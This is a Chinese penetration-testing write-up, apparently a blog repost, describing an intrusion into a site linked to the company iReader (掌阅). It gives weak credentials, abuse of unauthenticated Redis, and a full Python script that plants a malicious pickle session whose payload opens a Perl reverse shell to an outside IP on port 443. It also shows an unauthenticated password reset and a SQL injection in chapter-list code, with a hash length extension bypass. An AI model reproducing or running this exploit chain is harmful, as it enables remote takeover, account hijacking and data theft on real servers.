掌阅iReader某站Python漏洞挖掘
Python作为新一代的web开发语言,不少互联网公司内外网使用其开发站点。Python web周边还存在redis、memcached、mongod、supervisord等等服务,我们结合这些服务的一系列安全问题,将可以做很多有趣的事情。
目标端口开放了 6379、8080~8086、8889、8079
首先,8080~8086、8889都是web服务,而且是一个站,6379是redis、8079是一个web服务但有http基础认证。
逐一击破。
- 8080~8086、8889:存在弱口令admin - admin1234
- 6379:存在redis未授权访问
- 8079:存在弱口令user - 123,登录查看发现是Supervisord管理页面
从易到难,先看redis,也许可以直接通过redis拿下root。
redis已经被人扫过,写过公钥:
写入/root/.ssh/和/root/目录提示如下:
(error) ERR Changing directory: Permission denied
可能是redis被降权了。再试一下写crontab。
可能真是被降权了。
我们看看redis里面放了些什么:
看这个(dp1nS'user'np2nI7ns.
,长的就像python里的Pickle。而Pickle是可以执行python代码的。
所以,屡一下思路:
- 网站是python开发的
- redis可写文件,但权限有限
- redis中存着序列化字符串,可能是被用作session
- python反序列化过程中可以执行代码
所以,我想到如下两个思路:
- 利用redis写一个python的webshell
- 利用反序列化直接执行python代码
明显,第一种方法需要 1.知道web路径 2.redis有权限写web目录 3.可能要重启web服务(但因为我们有Supervisord管理权限,所以重启服务也不难)
第二种方法较为实际。所以,我写一个python pickle反序列化利用的脚本:
#!/usr/bin/env python
#
import cPickle
import os
import redis
class exp(object):
def __reduce__(self):
s = """perl -e 'use Socket;$i="159.203.220.19";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='xxx.xxx.xxx.xxx', port=6379, db=0)
r.set("e6c36e69a9cf9543243d7921aa1a3d8093b49441", s)
执行这个脚本,就可以向...:6379的redis中写一个key为e6c36e69a9cf9543243d7921aa1a3d8093b49441,值为序列化字符串的session。
然后我们来到http://...:8080,将cookie设置为session_id=e6c36e69a9cf9543243d7921aa1a3d8093b49441;刷新页面,那边的shell就弹好了:
分析一下它的nginx,可以发现他是将python程序开在8081~8086的端口上,并用nginx监听8889端口反向代理做负载均衡(感觉有点画蛇添足):
upstream tornado_cmread{
server 127.0.0.1:8086 max_fails=2 fail_timeout=30s weight=1;
server 127.0.0.1:8081 max_fails=2 fail_timeout=30s weight=1;
server 127.0.0.1:8082 max_fails=2 fail_timeout=30s weight=1;
server 127.0.0.1:8083 max_fails=2 fail_timeout=30s weight=1;
server 127.0.0.1:8084 max_fails=2 fail_timeout=30s weight=1;
server 127.0.0.1:8085 max_fails=2 fail_timeout=30s weight=1;
keepalive 16;
}
supervisord 存在弱口令
[inet_http_server] ; inet (TCP) server disabled by default
port=*:8079 ; (ip_address:port specifier, *:port for all iface)
username=user ; (default is no username (open server))
password=123 ; (default is no password (open server)) </pre>
基本可以确定这个站和掌阅有关系:
邮箱一枚:
git log可查看提交日志:
然后简单看看代码,就发现一处未授权修改管理密码:
class LoginHandler(BaseHandler):
"""
用户登陆退出修改密码模块
"""
NEED_LOGIN = False
....
def update_password(self):
"""
修改密码
:return:
"""
user_id = self.get_argument("user_id", 0)
password = self.get_argument("password", "")
service = Service.inst()
try:
service.inst().user.update_password(user_id, password)
self.api_json({"code": Status.SUCCESS, "msg": "修改成功"})
except Exception as e:
logging.error("修改密码失败=%s", str(e), exc_info=True)
self.api_json({"code": Status.ERROR, "msg": "修改失败"})
NEED_LOGIN = False,这个类是无需登录就可以访问的类,而修改密码的方法update_password却在这个类里……
只需要传入user_id=xx&password=123456,即可将user_id为xx的用户密码改为123456,试一下(admin的id=7):
登录(admin-123456)OK:
另外,handler/api.py这也是无需登录的类,其中存在多个注入,如:
def get_chapter_list(self):
"""
获取章节列表
:return:
"""
book_id = self.get_argument("book_id")
client_id = self.get_argument("client_id")
sign = self.get_argument("sign")
if not book_id:
self.api_json({"status": Status.ERROR, "msg": "参数缺失"})
return
md5 = hashlib.md5(client_id+SIGN_SECERT+book_id).hexdigest()
if md5 != sign:
self.api_json({"status": Status.ERROR, "msg": "非法请求"})
return
chapter_service = Service.inst().chapter
try:
chapter_list = chapter_service.get_upload_chapter_list(book_id)
self.api_json(chapter_list)
except Exception, e:
logging.error("查询章节列表=%s", str(e), exc_info=True)
self.api_json({"status": Status.ERROR, "msg": "查询失败"})
跟进get_upload_chapter_list:
def get_upload_chapter_list(self, book_id):
"""
获取同步给客户端的章节列表
:param book_id:
:return:
"""
query = Query()
query.set_table("book_zhang")
query.set_sql("select id, chaptername name")
query.where(" book_id = %s " % book_id)
query.where("app_ifup = 1")
query.orderby("chapterid", "asc")
return query.data()
可见book_id被拼接进where语句了。但前面还需要绕过:md5 = hashlib.md5(client_id+SIGN_SECERT+book_id).hexdigest()
想必看过这篇文章的同学( https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html )都知道该怎么绕过吧,利用哈希长度扩展攻击。我就不演示绕过了,直接用我读到的key来进行注入:
另外,盲注也有一堆。比如这个盲注:
不多说了。。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- JVM学习第一天(虚拟机的前世今生与与Java的内存区域)
- Android进阶:Binder那么弱怎么面大厂?
- Mybatis源码学习第七天(PageHelper分析)
- 【小程序】728- 小程序如何生成海报分享朋友圈
- Mybatis源码学习第七天(插件源码分析)
- Mybatis源码学习第七天(插件开发原理)
- Mybatis源码学习第六天(核心流程分析)之Executor分析(补充)
- 无法用排他锁锁定该数据库,以执行该操作。 (Microsoft SQL Server,错误: 5030)
- Spring security OAuth2.0认证授权学习第四天(SpringBoot集成)
- php hash算法类
- Spring security OAuth2.0认证授权学习第三天(认证流程)
- uni-app搜索历史记录功能实现
- [903]linux文件删除后磁盘空间没有释放
- Spring如何实现AOP,请不要再说cglib了!
- Redis安装问题解决方案